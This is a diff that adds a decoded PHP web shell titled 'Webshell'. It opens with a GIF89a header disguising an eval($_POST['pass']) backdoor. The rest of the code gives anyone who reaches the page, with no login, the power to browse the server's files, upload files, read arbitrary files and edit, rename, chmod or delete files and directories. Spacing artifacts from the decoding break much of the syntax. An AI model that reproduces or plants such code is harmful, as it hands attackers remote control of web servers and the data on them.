1+ /* Decoded by unphp.net */
2+
3+ <?php ?> gif89a<?php eval ($ _POST ['pass ' ]); ?>
4+ <?php
5+ ini_set ('display_errors ' , 'On ' );
6+ error_reporting (E_ALL );
7+ set_time_limit (0 );
8+ error_reporting (0 );
9+ if (get_magic_quotes_gpc ()) {
10+ foreach ($ _POST as $ key => $ value ) {
11+ $ _POST [$ key ] = stripslashes ($ value );
12+ }
13+ }
14+ echo '<!DOCTYPE HTML>
15+ <HTML>
16+ <HEAD>
17+ <link href="" rel="stylesheet" type="text/css">
18+ <title>Webshell</title>
19+ <style>
20+ body{
21+ font-family: "Racing Sans One", cursive;
22+ background-color: #e6e6e6;
23+ text-shadow:0px 0px 1px #757575;
24+ }
25+ #content tr:hover{
26+ background-color: #636263;
27+ text-shadow:0px 0px 10px #fff;
28+ }
29+ #content .first{
30+ background-color: silver;
31+ }
32+ #content .first:hover{
33+ background-color: silver;
34+ text-shadow:0px 0px 1px #757575;
35+ }
36+ table{
37+ border: 1px #000000 dotted;
38+ }
39+ H1{
40+ font-family: "Rye", cursive;
41+ }
42+ a{
43+ color: #000;
44+ text-decoration: none;
45+ }
46+ a:hover{
47+ color: #fff;
48+ text-shadow:0px 0px 10px #ffffff;
49+ }
50+ input,select,textarea{
51+ border: 1px #000000 solid;
52+ -moz-border-radius: 5px;
53+ -webkit-border-radius:5px;
54+ border-radius:5px;
55+ }
56+ </style>
57+ </HEAD>
58+ <BODY>
59+ <center>
60+ <tr><td>Current Path : ' ;
61+ if (isset ($ _GET ['path ' ])) {
62+ $ path = $ _GET ['path ' ];
63+ } else {
64+ $ path = getcwd ();
65+ }
66+ $ path = str_replace ('\', ' / ',$path);
67+ $paths = explode( ' / ',$path);
68+
69+ foreach($paths as $id=>$pat){
70+ if($pat == ' ' && $ id == 0 ){
71+ $ a = true ;
72+ echo ' < ahref = "?path=/" > / < / a > ' ;
73+ continue ;
74+ }
75+ if ($ pat == '' ) continue ;
76+ echo ' < ahref = "?path= ' ;
77+ for ($ i =0 ;$ i <=$ id ;$ i ++){
78+ echo "$ paths [$ i ]" ;
79+ if ($ i != $ id ) echo " / " ;
80+ }
81+ echo '" > ' .$ pat .' < / a > / ' ;
82+ }
83+ echo ' < / td > < / tr > < tr > < td > ' ;
84+ if (isset ($ _FILES ['file ' ])){
85+ if (copy ($ _FILES ['file ' ]['tmp_name ' ],$ path .' / ' .$ _FILES ['file ' ]['name ' ])){
86+ echo ' < fontcolor = "green" > FileUploadDone . < / font > < br / > ' ;
87+ }else {
88+ echo ' < fontcolor = "red" > FileUploadError . < / font > < br / > ' ;
89+ }
90+ }
91+ echo ' < b > < br > < br > ' .php_uname ().' < br > < / b > < br > ' ;
92+ echo ' < formenctype = "multipart/form-data"method = "POST" > UploadFile: < inputtype = "file"name = "file" / > < inputtype = "submit"value = "upload" / > < / form > < / td > < / tr > ' ;
93+ if (isset ($ _GET ['filesrc ' ])){
94+ echo "<tr><td>Current File : " ;
95+ echo $ _GET ['filesrc ' ];
96+ echo ' < / tr > < / td > < / table > < br / > ' ;
97+ echo (' < pre > ' .htmlspecialchars (file_get_contents ($ _GET ['filesrc ' ])).' < / pre > ' );
98+ }elseif (isset ($ _GET ['option ' ]) && $ _POST ['opt ' ] != 'delete ' ){
99+ echo ' < / table > < br / > < center > ' .$ _POST ['path ' ].' < br / > < br / > ' ;
100+ if ($ _POST ['opt ' ] == 'chmod ' ){
101+ if (isset ($ _POST ['perm ' ])){
102+ if (chmod ($ _POST ['path ' ],$ _POST ['perm ' ])){
103+ echo ' < fontcolor = "green" > ChangePermissionDone . < / font > < br / > ' ;
104+ }else {
105+ echo ' < fontcolor = "red" > ChangePermissionError . < / font > < br / > ' ;
106+ }
107+ }
108+ echo ' < formmethod = "POST" > Permission: < inputname = "perm"type = "text"size = "4"value = " ' .substr (sprintf ('%o ' , fileperms ($ _POST ['path ' ])), -4 ).'" / > < inputtype = "hidden"name = "path"value = " ' .$ _POST ['path ' ].'" > < inputtype = "hidden"name = "opt"value = "chmod" > < inputtype = "submit"value = "Go" / > < / form > ' ;
109+ }elseif ($ _POST ['opt ' ] == 'rename ' ){
110+ if (isset ($ _POST ['newname ' ])){
111+ if (rename ($ _POST ['path ' ],$ path .' / ' .$ _POST ['newname ' ])){
112+ echo ' < fontcolor = "green" > ChangeNameDone . < / font > < br / > ' ;
113+ }else {
114+ echo ' < fontcolor = "red" > ChangeNameError . < / font > < br / > ' ;
115+ }
116+ $ _POST ['name ' ] = $ _POST ['newname ' ];
117+ }
118+ echo ' < formmethod = "POST" > New Name: < inputname = "newname"type = "text"size = "20"value = " ' .$ _POST ['name ' ].'" / > < inputtype = "hidden"name = "path"value = " ' .$ _POST ['path ' ].'" > < inputtype = "hidden"name = "opt"value = "rename" > < inputtype = "submit"value = "Go" / > < / form > ' ;
119+ }elseif ($ _POST ['opt ' ] == 'edit ' ){
120+ if (isset ($ _POST ['src ' ])){
121+ $ fp = fopen ($ _POST ['path ' ],'w ' );
122+ if (fwrite ($ fp ,$ _POST ['src ' ])){
123+ echo ' < fontcolor = "green" > EditFileDone . < / font > < br / > ' ;
124+ }else {
125+ echo ' < fontcolor = "red" > EditFileError . < / font > < br / > ' ;
126+ }
127+ fclose ($ fp );
128+ }
129+ echo ' < formmethod = "POST" > < textareacols = 80rows = 20name = "src" > ' .htmlspecialchars (file_get_contents ($ _POST ['path ' ])).' < / textarea > < br / > < inputtype = "hidden"name = "path"value = " ' .$ _POST ['path ' ].'" > < inputtype = "hidden"name = "opt"value = "edit" > < inputtype = "submit"value = "Go" / > < / form > ' ;
130+ }
131+ echo ' < / center > ' ;
132+ }else {
133+ echo ' < / table > < br / > < center > ' ;
134+ if (isset ($ _GET ['option ' ]) && $ _POST ['opt ' ] == 'delete ' ){
135+ if ($ _POST ['type ' ] == 'dir ' ){
136+ if (rmdir ($ _POST ['path ' ])){
137+ echo ' < fontcolor = "green" > DeleteDirDone . < / font > < br / > ' ;
138+ }else {
139+ echo ' < fontcolor = "red" > DeleteDirError . < / font > < br / > ' ;
140+ }
141+ }elseif ($ _POST ['type ' ] == 'file ' ){
142+ if (unlink ($ _POST ['path ' ])){
143+ echo ' < fontcolor = "green" > DeleteFileDone . < / font > < br / > ' ;
144+ }else {
145+ echo ' < fontcolor = "red" > DeleteFileError . < / font > < br / > ' ;
146+ }
147+ }
148+ }
149+ echo ' < / center > ' ;
150+ $ scandir = scandir ($ path );
151+ echo ' < divid = "content" > < tablewidth = "700"border = "0"cellpadding = "3"cellspacing = "1"align = "center" > < trclass = "first" > < td > < center > Name < / center > < / td > < td > < center > Size < / center > < / td > < td > < center > Permissions < / center > < / td > < td > < center > Options < / center > < / td > < / tr > ' ;
152+
153+ foreach ($ scandir as $ dir ){
154+ if (!is_dir ("$ path/ $ dir " ) || $ dir == ' . ' || $ dir == ' . . ' ) continue ;
155+ echo "<tr>
156+ <td><a href= \"?path= $ path/ $ dir \"> $ dir</a></td>
157+ <td><center>--</center></td>
158+ <td><center> " ;
159+ if (is_writable ("$ path/ $ dir " )) echo ' < fontcolor = "green" > ' ;
160+ elseif (!is_readable ("$ path/ $ dir " )) echo ' < fontcolor = "red" > ' ;
161+ echo perms ("$ path/ $ dir " );
162+ if (is_writable ("$ path/ $ dir " ) || !is_readable ("$ path/ $ dir " )) echo ' < / font > ' ;
163+
164+ echo "</center></td>
165+ <td><center><form method= \"POST \" action= \"?option&path= $ path \">
166+ <select name= \"opt \">
167+ <option value= \"\"></option>
168+ <option value= \"delete \">Delete</option>
169+ <option value= \"chmod \">Chmod</option>
170+ <option value= \"rename \">Rename</option>
171+ </select>
172+ <input type= \"hidden \" name= \"type \" value= \"dir \">
173+ <input type= \"hidden \" name= \"name \" value= \"$ dir \">
174+ <input type= \"hidden \" name= \"path \" value= \"$ path/ $ dir \">
175+ <input type= \"submit \" value= \"> \" />
176+ </form></center></td>
177+ </tr> " ;
178+ }
179+ echo ' < trclass = "first" > < td > < / td > < td > < / td > < td > < / td > < td > < / td > < / tr > ' ;
180+ foreach ($ scandir as $ file ){
181+ if (!is_file ("$ path/ $ file " )) continue ;
182+ $ size = filesize ("$ path/ $ file " )/1024 ;
183+ $ size = round ($ size ,3 );
184+ if ($ size >= 1024 ){
185+ $ size = round ($ size /1024 ,2 ).'MB ' ;
186+ }else {
187+ $ size = $ size .'KB ' ;
188+ }
189+
190+ echo "<tr>
191+ <td><a href= \"?filesrc= $ path/ $ file&path= $ path \"> $ file</a></td>
192+ <td><center> " .$ size ."</center></td>
193+ <td><center> " ;
194+ if (is_writable ("$ path/ $ file " )) echo ' < fontcolor = "green" > ' ;
195+ elseif (!is_readable ("$ path/ $ file " )) echo ' < fontcolor = "red" > ' ;
196+ echo perms ("$ path/ $ file " );
197+ if (is_writable ("$ path/ $ file " ) || !is_readable ("$ path/ $ file " )) echo ' < / font > ' ;
198+ echo "</center></td>
199+ <td><center><form method= \"POST \" action= \"?option&path= $ path \">
200+ <select name= \"opt \">
201+ <option value= \"\"></option>
202+ <option value= \"delete \">Delete</option>
203+ <option value= \"chmod \">Chmod</option>
204+ <option value= \"rename \">Rename</option>
205+ <option value= \"edit \">Edit</option>
206+ </select>
207+ <input type= \"hidden \" name= \"type \" value= \"file \">
208+ <input type= \"hidden \" name= \"name \" value= \"$ file \">
209+ <input type= \"hidden \" name= \"path \" value= \"$ path/ $ file \">
210+ <input type= \"submit \" value= \"> \" />
211+ </form></center></td>
212+ </tr> " ;
213+ }
214+ echo ' < / table > < / div > ' ;
215+ }
216+ echo ' < br / > < / BODY > < / HTML > ' ;
217+ function perms ($ file ){
218+ $ perms = fileperms ($ file );
219+
220+ if (($ perms & 0xC000 ) == 0xC000 ) {
221+ // Socket
222+ $ info = 's ' ;
223+ } elseif (($ perms & 0xA000 ) == 0xA000 ) {
224+ // Symbolic Link
225+ $ info = 'l ' ;
226+ } elseif (($ perms & 0x8000 ) == 0x8000 ) {
227+ // Regular
228+ $ info = ' - ' ;
229+ } elseif (($ perms & 0x6000 ) == 0x6000 ) {
230+ // Block special
231+ $ info = 'b ' ;
232+ } elseif (($ perms & 0x4000 ) == 0x4000 ) {
233+ // Directory
234+ $ info = 'd ' ;
235+ } elseif (($ perms & 0x2000 ) == 0x2000 ) {
236+ // Character special
237+ $ info = 'c ' ;
238+ } elseif (($ perms & 0x1000 ) == 0x1000 ) {
239+ // FIFO pipe
240+ $ info = 'p ' ;
241+ } else {
242+ // Unknown
243+ $ info = 'u ' ;
244+ }
245+
246+ // Owner
247+ $ info .= (($ perms & 0x0100 ) ? 'r ' : ' - ' );
248+ $ info .= (($ perms & 0x0080 ) ? 'w ' : ' - ' );
249+ $ info .= (($ perms & 0x0040 ) ?
250+ (($ perms & 0x0800 ) ? 's ' : 'x ' ) :
251+ (($ perms & 0x0800 ) ? 'S ' : ' - ' ));
252+
253+ // Group
254+ $ info .= (($ perms & 0x0020 ) ? 'r ' : ' - ' );
255+ $ info .= (($ perms & 0x0010 ) ? 'w ' : ' - ' );
256+ $ info .= (($ perms & 0x0008 ) ?
257+ (($ perms & 0x0400 ) ? 's ' : 'x ' ) :
258+ (($ perms & 0x0400 ) ? 'S ' : ' - ' ));
259+
260+ // World
261+ $ info .= (($ perms & 0x0004 ) ? 'r ' : ' - ' );
262+ $ info .= (($ perms & 0x0002 ) ? 'w ' : ' - ' );
263+ $ info .= (($ perms & 0x0001 ) ?
264+ (($ perms & 0x0200 ) ? 't ' : 'x ' ) :
265+ (($ perms & 0x0200 ) ? 'T ' : ' - ' ));
266+
267+ return $ info ;
268+ }
269+ ?>
0 commit comments